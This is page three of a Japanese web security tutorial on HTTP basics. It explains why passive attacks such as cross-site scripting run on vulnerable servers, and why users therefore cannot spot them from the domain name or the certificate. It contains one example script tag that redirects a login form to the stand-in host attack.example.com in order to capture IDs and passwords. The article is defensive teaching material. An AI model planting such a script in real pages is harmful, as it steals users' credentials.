SQLインジェクション攻撃、ターゲットは“あなた”です：もいちどイチから！ HTTP基礎訓練中（6）（3/3 ページ）

SQLインジェクション攻撃の波は今も続いています。その被害は情報漏えいだけではなく、多くの被害者を発生させてしまう可能性もあるのです。第6回ではSQLインジェクション攻撃が引き起こす被害について解説します（編集部）

[杉山俊春，株式会社ユービーセキュア] PC用表示関連情報

LINE

Hatena

なぜ攻撃者は自分のサーバを使わないのか

　Webアプリケーションに対する受動的攻撃で重要となるのが、「攻撃を行っているサーバがどこにあるか」ということである。よく混同されてしまうのが、脆弱性のあるサーバで攻撃が行われるのと、攻撃者が用意したサーバ上で同じことを行うのとでは、決定的な違いがある。

【注】

例えば、ブラウザクラッシャーのような攻撃者が用意したサーバのみで完結できる受動的攻撃の場合、Webアプリケーションの脆弱性は関係ない場合が多い。

　クロスサイトスクリプティングの場合では、表示されるHTML上にJavaScriptを埋め込むことで、表示を変更したり、認証情報（Cookie情報）などを外部サイトへ送信したりすることができる。

　例えば、図4のようなWebページが存在している場合、改ざんされているか否かが分かるだろうか？

図4　一見何も問題のないように見えるWebページ。証明書にも不審な点はないが……

　ログイン画面が表示されているだけで、アクセスしているURLも問題なく、証明書もエラーとなっていない。しかし、ブラウザ上の見た目では分からなくとも、仮に、以下のようなJavaScriptが埋め込まれていたとしたら、ログインを行おうとした際に、IDおよびパスワードが外部サイトに送信される仕組みになっているという可能性もある。

<script>document.forms[0].action="https://attack.example.com/"</script>

リスト1　ID、パスワードの送信先をhttps://attack.example.com/にするJavaScriptの例

　ここで1つ考慮すべきは、ユーザーにとっては、「ドメイン名も証明書も問題なく見える」ということである。これが、攻撃者が自ら用意したWebサーバであった場合、ドメイン名も証明書も正規のサイトとはまったく異なるものとなりユーザーが異変にすぐに気付くことができる。

　ユーザーがログインを実行するのを待つような形ではなくとも、すでにユーザーがログイン状態であり、Cookieによって認証情報が管理されているような場合、ユーザーにまったく気付かれることなく攻撃を成功させることも可能である。

　これらの攻撃は、「怪しいリンクをクリックしなければ大丈夫」というものではない。何げなく閲覧しているブログに攻撃コードが埋め込まれている可能性も否定はできない。攻撃されているか否かは、注意深くHTTPメッセージ（リクエスト、レスポンスの双方）を解析していないと通常は分からない形で実行されてしまうこともある。

　「脆弱性があるかもしれない」という前提でWebアプリケーションを利用することを考えなければならないとした場合、ユーザーとしては、ブラウザがサーバとやりとりするHTTPリクエストおよびHTTPレスポンスをヘッダも含めてすべて見る必要が出てきてしまう。そのため、Webアプリケーション側での対策が必須となってくるのである。

　　　　　　　　　　　　　　　　　　＠IT messenger v2.0（beta）

クウ　意外と奥が深いのですね……。クロスサイトスクリプティングとか基本だし、とか思ってたから深く考えたことなかったです